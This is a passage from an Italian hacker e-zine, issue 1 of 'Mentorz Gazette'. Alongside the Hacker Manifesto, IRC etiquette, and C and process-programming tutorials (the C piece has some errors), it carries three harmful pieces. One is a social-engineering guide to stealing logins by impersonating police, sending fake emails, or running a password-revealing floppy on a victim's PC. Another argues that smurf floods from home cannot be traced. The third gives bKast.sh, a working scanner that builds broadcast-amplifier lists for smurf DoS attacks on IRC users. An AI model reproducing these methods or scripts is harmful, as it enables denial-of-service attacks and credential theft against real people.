Copy Link
Add to Bookmark
Report
Mentorz Gazette 01
____ _____ ___
/ |/ _/___ ___ ___ _/ /_ ____ ______ _____
/ /| / / ___// |/ /_ __// _ \/ _ /___ /
/ / |_// / ___// /| / / /_ / (_) | / |/ / /__
/__/ /__\___//__/ /__/ \___/ \____/__/ /_____/.CREW
GAZETTE Num. 1
"I am a hacker, and this is my manifesto. You may stop this individual, but you
can't stop us all... after all, we're all alike." (Mentor - 08/01/1986)
================================================================================
== INDICE
================================================================================
Disklaimer ........................................................... [KC]
Prefazione ........................................................... [KC]
Mentor's Last Words (traduzione) .............................. X3V|L574R & Jeko
Galateo .............................................................. sante
Ingegneria sociale ................................................... Brave
Leggende metropolitane ............................................... [KC]
Skanner fai da te - bKast.sh ......................................... [KC]
Le variabili in C .................................................... xinit
Programmazione concorrente ........................................... ^|GoD|^
Wannabe Cracker ? .................................................... T3X
Virus Dei Computer ................................................... O-Zone
Getting Started with Blender ......................................... O-Zone
Guida mIRC (prima parte) ............................................. sante
TiPs iN MiRc ......................................................... XeRoX
Layers, cosa sono, come utilizzarli, come gestirli ................... [T]wister
MailBombing (Ke Caxxo è?!) ........................................... L[eo]n
Primi passi nell'anonimato ........................................... ^35P^
Saluti e dedike ...................................................... [KC]
================================================================================
== DISKLAIMER
================================================================================
Tutto kuello ke troverete in kuesta e-zine e' da intendersi a skopo puramente
informativo e didattiko.
Se il kontenuto vi offende allora deletate kuesta rivista dal vostro hard disk.
Se fate danni dopo aver letto le info kui kontenute nun venite a rompere le @@,
xke' sono solo k...i vostri; ki skrive nun s assume responsabilita' su kuello ke
poi voi fate =)
In poke parole, noi skriviamo, poi spetta a voi fare tesoro dei nostri artikoli
o fare i lamah e piantare kasino.
Un konto e' sapere le kose, un altro fare i koglioni =)
================================================================================
== PREFAZIONE
================================================================================
== [KC] <kc_ataru@mail.yahoo.it> == http://way.to/kc
================================================================================
Voleva essere 1 prefazione diversa e skerzosa, ma ho dovuto decidere d rifarla
da 0 ... Il motivo e' presto detto: lascio il krew x inkompatibilita' kon un bro
e kuindi kon kuesto numba kiudo kon Mentor.
Ora, non sto kui a dirvi in dettaglio kosa e' successo x far si' ke io x 1 sera
intera floodassi X3V|L574R, il kuale nel prox numba potra' benissimo difendersi
e diskolparsi, anke xke' koinvolgerei nel diskorso altre xsone e m pare poko
opportuno, ma sappiate ke non e' kuesta la prima volta ke m akkade d trovarmi in
disakkordo totale kon lui riguardo ai suoi metodi e tanto x essere kiari m
riferisko a kuella volta in cui x un litigio tra 2 amici, ke s poteva magari
attenuare se non addirittura sopire in 1 serata, X3V ha mobilitato 1/2 irc, kon
il risultato ke 1 dei 2 kontendenti era poi sinceramente inkazzatissimo nei
konfronti d noi mentor e so bene io kuanto c sia voluto xke' s kalmasse.
Esiste 1 ottima regola in Avatar: kuando c sono dei dissapori s esce dal krew
almento fino a kuando kuesti non vengono risolti. M pare 1 ottima regola ke
salvaguarda il krew stesso e la kualita' della vita al suo interno.
Non sono kuindi "defezionario" kome dice X3V|L574R (un bel dizionario x Natale
sarebbe 1 idea), ma semplicemente lascio finke' le polemike sono ankora a
livelli "vivibili".
D'ora in poi (e spero x molto tempo) saro' un Avatar e basta.
Anke ^MadDog^ ha lasciato, un po' x dissapori kon ^Ragno^, ma soprattutto x
skazzo, dato ke non ha visto in Mentor kuella vitalita' ke s aspettava dopo i
recenti avvenimenti (la kuasi scissione del krew tanto x intendersi).
La gestione della e-zine passera' dal prossimo numba a {D4NG3R}, al kuale vanno
i miei migliori auguri x un buon lavoro.
Su kuesto numba trovate anke un artikolo ke il mio karo bro T3X ha gentilmente
koncesso d prelevare dal sito dei RingZer0 (ha skritto anke 2 righe d
preambolo).
Kome sempre rikordo a kuelli kon la kritika facile ke kui non tutti sono maestri
e ke lo spirito della rivista e' kuello dello skambio d esperienze e non d fare
la Trekkani.
A risentirci su Irc.
================================================================================
== MENTOR'S LAST WORDS (TRADUZIONE)
================================================================================
== X3V|L574R & Jeko
================================================================================
Oggi un altro è stato preso, c'è tutto sui giornali.
"Ragazzino arrestato per lo scandalo del crimine informatico", "Hacker
arrestato per Truffa Bancaria"...
Dannato ragazzaccio. Sono tutti uguali.
Ma tu, nella tua psicologia spicciola e la tua tecnologia cerebrale da 1950,
hai mai guardato attraverso gli occhi di un haker?
Ti sei mai chiesto cosa lo fa digitare, quali forze lo spingono, cosa può
averlo fatto ammuffire?
Io sono un hacker, vieni nel mio mondo...
Il mio è un mondo che inizia a scuola... Io sono più furbo della maggior parte
degli altri ragazzacci, questa merda che ci insegnano mi annoia...
Dannato underachiever. Sono tutti uguali.
Io vado alle medie od alle superiori. Ho ascoltato i prof
spiegare per la cinquantesima volta come ridurre una frazione. L'ho
Capita. "No, Signora Smith, Non mostro il mio lavoro. Ce l'ho nella mia
testa..."
Dannato ragazzaccio. Probabilmente l'ha copiato. Sono tutti uguali.
Oggi ho fatto una scoperta. Ho trovato un computer. Fermi un secondo, è una
figata. Fa quello che gli ordino. Se fa un errore, è perchè io l'ho male
interpretata. Non perchè non gli piaccio... O si senta offeso da me... O pensa
che io sia un bel somaro... O non gli piace insegnare e non dovrebbe essere
qui...
Dannato ragazzaccio. Non fa che giocare. Sono tutti uguali.
Poi accadde... una porta aperta sul mondo... schizzando attraverso la linea
telefonica come eroina attraverso le vene di un drogato, un impulso elettronico
viene trasmesso, un rifugio dall'incompetenza quotidiana è stato trovato... un
palcoscenico è stato trovato.
"E' questo... Questo è ciò cui appartengo..."
Qui conosco tutti... anche se non li ho mai visti, non ci ho mai
parlato, e potrei anche non risentirne più parlare... Io vi conosco tutti...
Dannato ragazzo. Tiene ancora il telefono occupato. Sono tutti uguali...
Puoi scommetterci il culo che siamo tutti uguali... a scuola siamo andati avanti
ad omogeneizzati mentre avevamo voglia di bistecca... i pezzi di carne che ci
avete passato erano pre-masticati e sciapi. Siamo stati dominati dai sadici, o
ignorati dagli apatici. I pochi che avevano qualcosa da insegnarci hanno trovato
in noi degli studenti modello, ma questi pochi furono come gocce d'acqua nel
deserto.
Ora questo è il nostro mondo... il mondo degli elettroni e degli interruttori,
della bellezza dei baud.
Facciamo uso di un servizio che già esiste senza pagare per una cosa che
potrebbe essere fottutamente economica se non fosse amministrata da avide palle
di grasso, e tu ci chiami criminali.
Noi esploriamo... e tu ci chiami criminali.
Noi inseguiamo la conoscenza... e tu ci chiami criminali.
Noi esistiamo aldilà del colore di pelle, della nazionalità, dei conflitti
religiosi... e tu ci chiami criminali.
Voi costruite bombe atomiche, voi iniziate guerre, voi uccidete, truffate, e ci
raccontate balle, cercando di darci a bere che è per il nostro bene.
Noi siamo i criminali.
Sì sono un criminale. Sono colpevole di curiosità. Sono colpevole di giudicare
le persone per quello che dicono e pensano, non per come appaiono. Il mio
crimine sta nel superarti in furbizia, qualcosa per cui tu non mi dimenticherai.
Io sono un hacker e questo è il mio manifesto. Tu puoi solo fermare me, ma non
ci fermerai tutti... dopotutto, siamo un idea non un individuo.
================================================================================
== GALATEO
================================================================================
== sante <sante@marijuana.md> == ircnet#cybernet
================================================================================
Ho sempre pensato che essere educati ha sempre portato qualcosa di buono e che
anche su IRC sia necessaria questa educazione.Io mi sono sempre comportato bene.
Non mi frega nientedi nukkare qualcuno su irc o di smurfarlo se mi dice che sono
lamer o che sono coglione.
Io me ne sbatto le palle.Non rompetemi le palle per piu' di tre volte perche'
poi vi ignoro non takkate i miei canali perche' se no parto con l'ircwar ecc.Io
sono buono e sto per la mia strada.
Io non rompo voi,voi non rompete me ecc.Cmnq l'articolo doveva essere sull'
hacking no?
Bhe io di hacking ho solo qualche shell e basta.Non mi reputo una persona tanto
esperta da poter insegnare a qualcuno questa difficile arte e tanto meno mi
sento io stesso un hacker quindi non mi rompete le palle dicendomi che sta
rivista fa schifo siete lamer ecc. non ce ne frega un ca**o perche' lo facciamo
per noi e non per voi quindi se la volete legge sta cosa bene altrimenti saluti
e baci.
P.S.: voi delle grandi crew (non faccio nomi) andatevene affanculo che tanto
sapete pressapoco le cose che sappiamo noi. Isterici presuntuosi scassacazzi con
lo script del figo di turno o con il bug del nuovo. Fottetevi!!!
================================================================================
== INGEGNERIA SOCIALE - 1 tecnica poco usata, ma ke può sempre rivelarsi utile!
================================================================================
== Brave
================================================================================
Ciao a tutti,
ho deciso di scrivere questo articolo xkè ho sempre trovato affascinante questo
modo di guadagnare ottimi risultati(cosa lo lascio alla vostra immaginazione;))
facendo poki sforzi e, come dicono autori vari di BFI, SD ecc, senza avere
determinate conoscenze. Sicuramente quest'ultimo aspetto è importante xkè io
stesso mi ritengo lamah e visto ke il n° di newbie aumenta sempre, bisogna pur
trovare qualkosa da cui partire ...
Ma lasciamo poco posto alle parole ed entriamo nei dettagli.
L'ingegneria Sociale è 1 metodo diretto x ottenere informazioni importanti (ke
nel nostro caso potrebbero riguardare login e password) solamente con 1
telefonata o con 1 semplice fakemail ke la povera vittima riceverà tra capo e
collo.
Ma procediamo con ordine. Se consideriamo il primo caso non è ke noi telefoniamo
all'ignara vittima dal telefono di casa presentandoci con nome e cognome
kiedendogli login e pass di root del sistema che gestisce dicendogli:
<< Per favore mi da la password di root e il nome di login del suo account x
favore?>> o come direbbe il mio maestro AcidCrash<< Mi stai dando il log. e la
pass del tuo account alla svelta;))?>> NONONO!!! Siamo completamente fuori
strada.
Uno xkè se vogliamo effettuare 1 kiamata lo facciamo da 1 cabina tel. (non
quella sotto casa!) e 2 xkè ci dobbiamo spacciare x 1 figura importante (meglio
1 qualke esperto informatico della polizia) e fingere alla perfezione; servono
freddezza, sicurezza e 1 fantasia enorme x strutturare 1 storia credibile!
Non bisogna farsi prendere dal panico 1 volta ke si è iniziato non bisogna
interrompersi, balbettare ecc. Se non abbiamo tutte queste caratteristike
possiamo lasciar perdere e tentare al massimo col metodo della fakemail. Dopo ke
ne abbiamo creata 1 semplice ci facciamo mandare la risposta sperando di
ottenere ciò ke desideriamo, ma se si utilizza questa via bisogna possedere una
buona conoscenza della lingua italiana (ke io non ho) dei termini formali da
utilizzare. Se invece non vi sentite a vostro agio con tutto ciò vi do 1
consiglio da amico; sfruttate i lamer specie quelli ke vi stanno sul cazzo.
Avete la compagna di classe ke è supersekkia, se la tira e non vi aiuta x 1
cazzo? Magari è sfigata e venite a conoscenza ke ha INTERNET: qui comincia il
divertimento;) <<Ke abbonamento hai? Cosi x curiosità ke pass hai messo? Tanto 1
abbonamento non si puo' mika fotocopiare:)>> Se il login non ce lo dice xkè non
lo sa (come è più probabile) o xkè non lo ricorda ci possiamo risalire dalla sua
email: l'importante è la pass.
Ma questo è solo 1 metodo xkè si può andare anke direttamente a casa sua con 1
bel floppy contenente 1 progz ke rivela login e pass e dire:<<Ho sete mi porti 1
goccio d'acqua?>> Quando parte, noi partiamo all'azione;) X ultimo se abbiamo 1
account su usa.net x esempio non c'è neanke bisogno ke mandiamo 1 fm, basta 1
mail ke abbia come finzione qualke personaggio imp. del provider della vittima,
seguita dalle solite rikieste (coi lamer andateci giù con la scusa "x lavori")
tanto quando il/la lamerazzo/a vedrà il dominio .net si cagherà addosso e
invierà i dati;)
Con ciò kiudo questo articolo ke sa di lamerata (e ripeto sono io 1 lamer;)) e
ringrazio tutti coloro ke mi hanno permesso di scriverlo tenendo inoltre a
precisare ke tutto quello ke ho scritto è SOLO a scopo informativo!!!
Ringraziamenti particolari vanno a:
AcidCrash: il mio maestro e esempio informatico.
X3V1L5TAR: colui ke mi ha dato il permesso di iniziare il lavoro!
Alla mia migliore amica S.
Al mio migliore amico A.
Ciao a tutti e, spero alla prox
================================================================================
== LEGGENDE METROPOLITANE
================================================================================
== [KC] <kc_ataru@mail.yahoo.it> == http://way.to/kc
================================================================================
Dai vediamo d farci kualke nemiko :D
Parliamo dello smurf, kuesto skonosciuto :)
Fra le tante storie ke girano su irc kuella ke + ha katturato il mio interesse
e' sikuramente kuesta: "se smurfi da lokale tracciano il tuo ip!!!"
Lo diamo un bello sguardo al pakketto icmp? =)
<------------------------- IP datagram ------------------------->
+--------------+--------------------------------------------------+
| IP header | ICMP message |
+--------------+--------------------------------------------------+
<- 20 bytes ->
E ora guardiamo un po' com'e' fatto l'ip-header.
+-------+-------+----------------+--------------------------------+
|4bit |4bit |8bit type of |16bit total length | A
|version|header |device (TOS) | | |
| |version| | | |
+-------+-------+----------------+-----+--------------------------+ |
|16 bit identification |3bit |13bit fragment offset | |
| |flags| |
| | | | 2
+---------------+----------------+-----+--------------------------+ 0
|8bit time to |8bit protocol |16bit header checksum |
|live (TTL) | | | b
| | | | y
+---------------+----------------+--------------------------------+ t
|32bit source IP address | e
| | s
| |
+-----------------------------------------------------------------+ |
|32bit destination IP address | |
| | |
| | V
+-----------------------------------------------------------------+
Ora, premesso ke non siamo in lan ma su irc, kuindi in Rete, dell'imbustamento d
livello 2 (modello ISO/OSI) e kuindi del relativo header della sua PDU
(Protokol Data Unit) c frega proprio un bel niente. Tanto x kapirsi ignoriamo
deliberatamente i mak address, cioe' gli indirizzi FISICI delle skede d rete.
Kasualmente nel SSAP (Source Service Access Point, cioe' l'ip d partenza del
pakketto) NON troviamo il nostro indirizzo, bensi' kuello della vittima, e nel
DSAP (Destination Service Access Point, alias ip address d destinazione) l'ip ke
d volta in volta andiamo a leggere nel file d broadkast.
Kualkuno sarebbe kosi' gentile da dirmi kome k...o fa la vittima del nostro
attakko a vedere il nostro ip kuando smurfiamo da lokale ?
Ovvio ke se kualkuno kontrolla il vostro ip e vede parekkio traffiko in uscita o
komunkue anke solo v vede on line, puo' supporre ke siate voi a smurfare, ma da
li' ad averne le prove ce ne passa un kasino direi.
Kuindi a okkio direi ke soltanto kontrollando i log dei router presenti nella
kast c sono possibilita' d bekkarci ... o no ?
Cmq saro' ben kontento se kualkuno konfutera' le mie idee, ovviamente kon delle
valide argomentazioni (pakketti alla mano ovvio ;)
================================================================================
== SKANNER FAI DA TE - bKast.sh
================================================================================
== [KC] <kc_ataru@mail.yahoo.it> == http://way.to/kc
================================================================================
Bella raga, d ke parliamo stavolta? Eheheh ... S skannaaaaaaaaaaa =)
Ho giusto deciso d togliermi un bel po' d ragnatele ... ragazzi ke @@ nun
rikordarsi + 1 mazza d shell skripting :P
"Ma kome?! Nun te lo rikordi???"
Uaz datemi 2 min ke faccio un bel
"mount /dev/tty69 /cervello -t brain -o rw,user,unhide" :D
Unz ... Okyz s parte :)
Kuello ke vado a presentarvi e' uno skanner in bash skript x kostruirsi le kast.
X kuelli ke non sanno kosa sono le kast (kazzo v abbriucio il modem =), sono dei
semplici file kontenenti ip d subnet ke rispondono kon un certo numba d extra
ping e ke vanno kuindi bene x smurfare il rompipalle d turno >:)
Unika avvertenza: dovete lanciare kuesto skript kome utente "root"
(beh ovviamente avere nmap =)
Bene andiamo a vedere kosa fa d bello sto bash skript :)
Ho inserito un help kosi' se non s rikorda la sintassi basta digitare il cmd e
kuesto kompare.
Nmap s okkupa d skannare 1 intera klasse d ip x noi, solo ke il suo log e' un
tantino "sporko" e dobbiamo rikorrere a kualke passaggio x ripulirlo
Starting nmap V. 2.3BETA6 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/)
Host (152.1.1.255) seems to be a subnet broadcast address (returned 20 extra p
ings). Skipping host.
Host (152.1.2.0) seems to be a subnet broadcast address (returned 40 extra pin
gs). Skipping host.
Host (152.1.3.0) seems to be a subnet broadcast address (returned 50 extra pin
gs). Skipping host.
Lo step 2 lo trasforma kome segue
20-152.1.1.255
40-152.1.2.0
50-152.1.3.0
Ora abbiamo kuello ke c serve, cioe' l'ip e il numba d extra ping.
Tutto kuello ke dobbiamo fare e' "filtrare" il risultato, tenendo solo gli ip
che rispondono kon un certo "spessore" da noi prefissato (40 d default).
152.1.2.0
152.1.3.0
Ho fatto in modo d salvare i risultati in un file d storage kosi' ke possiamo
skremare ulteriormente la kast senza dover skannare d nuovo gli stessi ip.
40-152.1.2.0
50-152.1.3.0
1 kosa ke konsiglio e' kuella d lanciare + sessioni in background xke' c mette 1
vita :P
bash# ./bKast.sh 200 &
bash# ./bKast.sh 201 &
bash# ./bKast.sh 202 &
bash# ./bKast.sh 203 &
Io x esempio ne lancio sempre 4. Non d + xke' altrimenti m laggo troppo.
Magari m mettero' a fare un porting in C d kuesto skript, lasciando da parte
nmap e menate varie tipo sed o awk :)
Non fate solo la kazzata d lanciarne + d 1 sulla stessa klasse in kontemporanea.
Ovviamente avrete kapito ke skanno da lokale, kuindi x la release da mettere su
shell aspettate ke m metta a kodare.
Se avete fretta ... beh ... fatevelo da voiiiiii :DDDD
Ultima kosa: ho skritto in inglese e se la kosa nun v piac ... beh ... nun so
ke dirvi a parte ... eheheh ... studiatevelo :P
Ho anke inserito la beta del bKastMerge.sh ... nun s sa mai :)
La sua funzione e' kuella d riunire insieme i vari file risultanti dai vari
lanci del bKast.sh e kreare 1 bella kast pronta all'uso ordinata dall'ip kon +
dups a scendere x un default d 1024 righe.
Spero ke kuesti skript siano abbastanza kiari e nun m resta ke augurarvi un bel
"happy skanning" :D
----------------------------------- cut here -----------------------------------
################################################################################
#
# bKast.sh
#
# Usage: ./bKast.sh <class A ip> [output file name] [minimum dups]
#
# written by [KC]
#
################################################################################
#!sh
TTY=$(tty|cut -f3 -d"/")
PID=$$
case $# in
0 ) echo -e "\nUsage:"
echo -e "\t./bKast.sh <class A ip> [minimum dups] [output file name]"
echo -e "\nExamples:"
echo -e "\t./bKast.sh 100 <-- it means 100.*.*.0,255"
echo -e "\t./bKast.sh 100 40 <-- default filtered replies"
echo -e "\t./bKast.sh 100 40 bKast <-- default output file name"
echo -e "\t '$IP.out' default ext appended\n"
exit
;;
1 ) IP=$1
DUPS=40
OUTFILE=$(echo "bKast."$IP".out")
;;
2 ) IP=$1
DUPS=$2
OUTFILE=$(echo "bKast."$IP".out")
;;
3 ) IP=$1
DUPS=$2
OUTFILE=$(echo $3"."$IP".out")
;;
* ) echo -e "\nWrong parm list\n"
exit
;;
esac
DATE=$(date +%C%y%m%d)
TMPFILE=$(echo "bKast."$IP"."$TTY"."$PID".tmp")
STORFILE=$(echo $IP"."$DATE".ping")
# Step 1 ----> Skanning 4 broadkast
nmap -sP -PI $IP.*.*.0,255 > $TMPFILE
# Step 2 ----> Cleaning resulting file
sed 's/(/ /' $TMPFILE|sed 's/)/ /'|grep "extra"|awk '{print $11"-"$2}' \
> $TMPFILE.1
# Step 3 ----> Filtering extra ping
awk -F- -v min=$DUPS '{if ( $1 >= min ) print $1}' $TMPFILE.1 > $OUTFILE
# Step 4 ----> Storing results and removing temporary filez
awk -F- -v min=$DUPS '{if ( $1 >= min ) print $0}' $TMPFILE.1 > $STORFILE
rm -f $TMPFILE $TMPFILE.1
----------------------------------- cut here -----------------------------------
################################################################################
#
# bKastMerge.sh
#
# Usage: ./bKastMerge.sh [kast file name] [num. ip] [date]
# or ./bKastMerge.sh -h
#
# written by [KC]
#
################################################################################
#!sh
case $# in
0 ) KASTFILE="bKast.res"
QUOTE=1024
EXTFILE=$(echo ".ping")
;;
1 ) if [[ "$1" = "-h" ]];then
echo -e "\t./bKastMerge.sh -h <-- \c"
echo -e "it prints this output"
echo -e "\t./bKastMerge.sh [kast file name] [num. ip] [date]"
echo -e "\nExamples:"
echo -e "\t./bKastMerge.sh bKast.res <-- \c"
echo -e "default output file name"
echo -e "\t./bKastMerge.sh bKast.res 1024 <-- \c"
echo -e "default filtered replies"
echo -e "\t./bKastMerge.sh bKast.res 1024 20000207 <-- \c"
echo -e "to merge files kreated in this date only"
exit
else
KASTFILE=$1
QUOTE=1024
EXTFILE=".ping"
fi
;;
2 ) KASTFILE=$1
QUOTE=$2
EXTFILE=".ping"
;;
3 ) KASTFILE=$1
QUOTE=$2
EXTFILE=$(echo $3".ping")
;;
* ) echo -e "\nWrong parm list\n"
exit
;;
esac
sort -n -r -t- -k 1 *$EXTFILE|head -n $QUOTE|awk -F- '{print $2)' > $KASTFILE
----------------------------------- cut here -----------------------------------
================================================================================
== LE VARIABILI IN C
================================================================================
== xinit <xinit@freemail.it>
================================================================================
Per la serie: NON C'HO UN CAZZO DA FARE
Allora questo e' il mio primo articolo x una zine.... quindi perdonate
l'italiano poco scorrevole .... Allora che dire ... hmmmmm .... ah gia volevo
raccontare una cosa ... l'altro giorno ho letto netrunners 10, e sono rimasto
stupito dall'articolo di Azathoth .... ha perfettmente ragione, e' inutile
montarsi un nuovo os se non si conosce bene (anzi benissimo) Windows ..... E'
inutile montare un OS come linux se gia non si sa il C ... linux e' la prova
vivente di come debba essere l'os ad adattarsi all'utente e non viceversa (cosa
che Win non fa), quindi almeno un minimo di esperienza nella prog e' il minimo.
E' inutile pensare di essere hacker solo xche' si e' riusciti a installare la
redhat quando, poi, non si sa come configurare una rete.... Quindi prima
imparate Win come le vostre tasche e non ripudiatelo solo x i suoi continui
crash, d'altronde se si sa programmare bene (cosa che io non so fare :) diventa
un buon ambiente di sviluppo, anche se linux e' migliore prima bisogna imparare
ad usare le cose + "semplici" e poi passare a quelle difficili .... Vi siete
mai chiesti xche' i sorgenti dei vari prog di linux siano free? Beh credo ci
possiate arrivare ora ... se non ci arrivate compratevi un buon libro di C
e dopo leggetevi i listati dei vari prog... Capirete che il free software non e'
bello solo xche' e' aggratis ma xche' puo' essere riscritto e studiato, cose
molto importanti ..... Beh dopo aver detto la mia su sto argomento (anche se
darei 5 voti in + a linux x quanto riguarda l'etica e la capacita' di rendersi
"personale") passiamo all'articolo che e' meglio .....
P.S.: non sniffate la candeggina, fa male! =)
P.P.S.: Sul numba0 non sono stato menzionato x errore ma ci sono pure me :)
P.P.P.S: Se non c'avete un cazzo da fare ecco qualche consiglio:
- far scoppiare una rissa
- commettere atti vandalici
- dare fuoco alla + vicina centrale telecom
[MODE SEGHE_MENTALI ON]
Innanzitutto un po' di teoria... Le variabili servono x gestire dati che si
trovano nella memoria senza dover ricordare la loro esatta posizione ma solo
conoscendo il nome che gli viene attribuito ... non so manco io cosa cazzo ho
scritto ma a grandi linee e' cosi' x es se io scrivo:
int pippo;
definisco una variabile di nome pippo che quando verra' inizializzata occupera'
una certa area di memoria... in questo caso il tipo di dato e' un int, quindi
occupera' 16 bit e quindi il valore della variabile puo' variare da 0 a 65535
x far si che questa variabile contenga un certo valore bisogna assegnarglielo:
pippo = 31337;
in questo modo pippo conterra' il numero 31337... si possono anche definire +
variabili contemporaneamente e sempre nella stessa riga assegnargli valori:
int io, 2h, pippo = 31337;
in questo caso si definiscono 3 variabili int delle quali una sola e'
inizializzata (pippo)... alle altre potranno essere assegnati valori piu' in la
nel programma ... il nome assegnato alle variabili non puo' essere un numero e,
in caso si voglia dare lo stesso nome a + variabili queste non devono trovarsi
nella stessa funzione.
Le variabili in C possono essere di vari tipi, ognuno dei quali ha una specifica
caratteristica (static, register e external); in caso non venga specificato il
compilatore gli assegna il valore di automatic.
I 4 tipi esistenti sono:
AUTOMATIC: Vengono sempre dichiarate, e sono locali. Quindi vengono "usate"
all'interno della funzione nella quale vengono definite. Vengono
caricate solo alla chiamata alla funzione nella quale vengono
dichiarate. Per default ogni variabile e' di tipo automatic. Il loro
valore non viene conservato x tutta la durata del programma, ma
viene "resettato" ogni volta che vi si accede.
es.: auto int c; //e' uguale a int c;
STATIC: Hanno lo stesso valore delle auto. Ma, al contrario delle automatic,
conservano il loro valore x tutta la durata del programma.
es.:
void main(void)
{
int a = 8, b = 1;
{
static int c = 9;
}
printf("%d, %d",a,b,c); //errore c non e' definita!
}
es2.:
void pippo()
{
static int l = 0;
printf("Prima %d\n",l);
++l;
printf("Dopo %d\n",l);
/* se avessimo omesso lo static il valore di l sarebbe stato annullato ad
ogni chiamata alla funzione generando cosi' sempre 0 e 1 come output anziche'
0 e 1 e 1 e 2. Questo ci fa capire quanto possano essere uili le variabili
static. */
}
void main()
{
pippo();
pippo();
}
EXTERN: Le variabili esterne sono "estensibili" a tutto il programma, quindi
possono essere usate da qualsiasi funzione. Le variabili esterne
possono essere definite in un file e avere la dichiarazione in un
altro. La definizione puo' comparire in un solo file e la sua
posizione nel file deve trovarsi prima di qualsiasi funzione. La
variabile viene settata a 0 in caso non venga immesso un valore
iniziale. Non e' necessario mettere l'extern prima della variabile.
Se, invece, si vuole accedere alla variabile contenuta in un altro
file bisogna dichiararla nel file stesso. Cio' puo' essere fatto
ovunque nel file, all'inizio o all'interno. Non si possono inserire
valori (ma il valore iniziale puo' essere cambiato) ed e' necessario
mettere l'extern prima della variabile. Se si dichiara una variabile
esterna static questa viene riconosciuta dal file ma non viene
caricata nel programma.
es.:
-Primo file-
extern int io, xinit, lam0r;
-Secondo file-
#include <stdio.h>
int io, xinit, lam0r; //dopo li linkate e via :)
..........
REGISTER: Le variabili register sono variabili che vengono "conservate"
all'interno dei registri della CPU (quindi non hanno indirizzo,
anche se lo possono contenere, in quanto si trovano non si trovano
nella RAM, quindi i puntatori ce li scordiamo pure :), permettendo
cosi' una + veloce esecuzione del programma. La "sola" sta nel fatto
che se la variabile e' + grande del registro allora questa viene
conservata nella memoria come tutte le variabili auto. Non esiste un
modo x sapere quando una register viene, come dire, "rispettata" e
quindi non convertita in auto... lo si puo' dedurre solo dalla
velocita' del programma. Per quanto riguarda le register esse sono
uguali alle auto con la sola eccezzione di quanto detto sopra.
[MODE SEGHE_MENTALI OFF]
Beh io direi di fermarci qui.... ci sarebbe qualcos'altro da puntualizzare ma
credo ci arriviate da soli(di piuttosto che nun te va... ndX)... Bella a tutti
raga!
Saluto: ^M4dd0g^ - [KC] - Pr|nce - ^Ragno^ - Mallory - Jeko -AssassinZ -^DSX^
AcidDream- B3B3 - [Liquid] - - F4lc0 - _p0nic0_ - Dev` - Myth
Vaq` - kyosuke - `Vegeth` - Sakuramb0 - ^Niimai^ - |ELiSA| - ^B3B3^
AciDCrash - X3V|L574R - Gal - Nuvolary - Pragma - Nuvolary - YaP
Shingo - [X^[M[]] - [-Joker-] - Mokuren - Merce[D] - Techno[K] -
tutti quelli che (non) conosco.. e gli altri fratelli di #mentor.
Il crash di win che 2 anni fa mi fece passare a linux (mitico kernel
1.2 :)
Fux to: Tutti i lama compreso me :), la pulla che ti rompe il cazzo sempre
sul + bello, la telecom che ti fotte appena ti siedi x rilassarti
un po' con internet.
HACK the WORLD, FUCK the SYSTEM
xinit on IRCNet: #mentor
================================================================================
== PROGRAMMAZIONE CONCORRENTE
================================================================================
== ^|GoD|^ <s4tsyn@usa.net>
================================================================================
Eccoci qua, sono ^|GoD|^ e questa è la prima volta che scrivo per tentare di
spiegare qualcosa che conosco, perciò se il mio modo di scrivere vi fa schifo
levatevi dalle palle =) Bien, se volete apprendere qlc di programmazione
concorrente significa che qlc in C già lo sapete fare...
Come tutti ben sappiamo Linuz è un OS multitasking (se non sapete cazz significa
tagliatevi le palle), ma come fare per creare un processo, per killarlo e per
farlo comunicare con gli altri??? OkYz iniziamo!!!
I sistemi multitasking partono con un solo task detto padre (in linux questo
processo è init). Questo task è in grado di chiamarne un altro che lo
sostituisca ma così facendo avrei un solo semplice processo sempre attivo. Il
programma padre può quindi essere clonato mediante la funzione di libreria
fork() rappresentata in questo schemino:
A ---fork---+
|
A <---ret---+---ret---> B
Dopo una fork() al processo padre viene restituito il pid del processo figlio
mentre al figlio viene restituito NULL (0), così il padre può sfruttare il pid
per comunicare con il figlio e il figlio sa di non essere un padre.
Il padre chiama la fork, la fork crea un descrittore e si fa una copia dello
stack e delle variabili.
pid=fork();
if(pid)
/* Processo Padre */
else
/* Processo Figlio */
Per meglio capire il meccanismo che ci permette di avere 2 diversi punti di
ritorno da una sola funzione è utile ricorrere all'assembly... eccovi un
frammento di codice che vi può aiutare a capire:
MOV [BX],0 ; BX punta allo stack del figlio
DEC BX ; doppia DEC perchè è a 16 bit
DEC BX ; fin qui abbiamo simulato una push sullo
; stack del figlio
MOV DF.SP,BX ; DF è il desc. del figlio, SP lo stack pointer
; e PC il program counter
MOV DF.PC,PRET ; faccio puntare al figlio il BX del padre e
; inizializzo il PC del figlio
MOV AX,DF.PID ; in AX metto il pid del figlio
PUSH AX
PRET: POP AX ; in AX c'è ancora il pid del figlio
RET
Spero vi sia servito... ma ora continuiamo sennò non finiamo +...
Tutti i processi hanno un valore di ritorno che serve al programma chiamante per
sapere l'esito del programma chiamato.
Esiste una funzione che permette al programma chiamante di conoscere il valore
di ritorno del programma chiamato (questa funzione è bloccante).
wait() -----> attende un valore di ritorno da un qualsiasi figlio
waitpid() --> attende un valore di ritorno da un determinato figlio
Un processo può essere: running, ready, waiting, initing, ending (zombie)...
Ci tenevo a farvelo sapere ma se volete saperne + usate il man!!!
Ottimale, ora abbiamo tutti i processi che vogliamo, il bello viene ora!!!
I processi sono indipendenti fra loro perciò come facciamo se vogliamo che per
esempio l'output di un processo venga passato come input ad un processo figlio?
Il metodo + banale per far comunicare 2 processi è usando una | (pipe) che opera
una semplice redirezione dell' I/O (output del pgm1 -> input del pgm2).
In pratica c'è un buffer comune ai 2 programmi che scriveranno o leggeranno i
dati dall'area di memoria comune. L'OS redirige l'I/O verso il buffer comune.
In pratica con la pipe l'OS collega tra loro 2 files. La unnamed pipe (che è
quella descritta finora) può essere creata sia da shell che da un programma,
passando un unnamed pipe.
PGM1 ---> |BUFFER| ---> PGM2
La unnamed pipe può essere usata solo da 1 programma che ne avvia 1 o 2 tramite
unnamed pipe. Quando creo una pipe viene aperto un descrittore di memoria che
non può essere passato tramite la linea di comando o attraverso un file. Ed è
per questo semplice motivo che esistono le named pipe. Un programma crea un file
che non è un file reale ma una pipe e altri programmi possono agire sul file
aperto e modificarlo. La differenza nella creazione delle 2 pipe consiste nel
fatto che l'unnamed pipe restituisce 2 file descriptor (RD & WR) mentre la named
pipe viene aperta come un file (dandogli quindi un nome), ritorna un descrittore
